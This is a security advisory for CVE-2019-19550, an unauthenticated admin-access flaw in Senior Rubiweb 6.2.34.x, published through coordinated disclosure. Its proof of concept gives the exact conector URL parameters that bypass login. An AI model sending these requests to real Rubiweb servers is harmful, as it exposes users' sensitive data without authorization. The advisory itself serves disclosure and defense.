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underprotection / CVE-2019-19550

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CVE-2019-19550

[Description]

Remote Authentication Bypass in Senior Rubiweb 6.2.34.28 and 6.2.34.37 allows admin access to sensitive information of affected users using vulnerable versions. The attacker only needs to provide the correct URL.

[Important Dates]

  • Announcement (to Vendor): 2019-12-02
  • Public disclosure date: 2020-01-30

[Vulnerability Type]

Incorrect Access Control

[Vendor of Product]

Senior

[Affected Product Code Base]

  • Rubiweb - 6.2.34.37
  • Rubiweb - 6.2.34.28
  • Other versions may be affected, especially in the same family (not tested yet)

[Affected Component]

Rubiweb

[Attack Type]

Remote

[Impact Information Disclosure]

True

[Attack Vectors]

Access to sensitive information is publicly available without special requirements (only the correct URI)

[Has vendor confirmed or acknowledged the vulnerability?]

True

[PoC - Proof of Concept]

  1. Simply try to connect to authenticated portal to confirm the existence and version of affected product:
    • hXXp://subdomain.customer.tld:8080/rubiweb/
  2. Access the vulnerable page (admin without authentication):
    • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=EXESENHA&SIS=FP&LOGINKIND=1
    • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=ENTRANCEREL&SIS=FP&NOME=FPIN103.ANU

[Discoverer]

Mauricio Santos (R&D UnderProtection) and Hesron Hori (R&D UnderProtection)

[Thanks to]

Senior - Vendor's Information Security Team who collaborated to a coordinated disclosure

[Reference]

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License:Apache License 2.0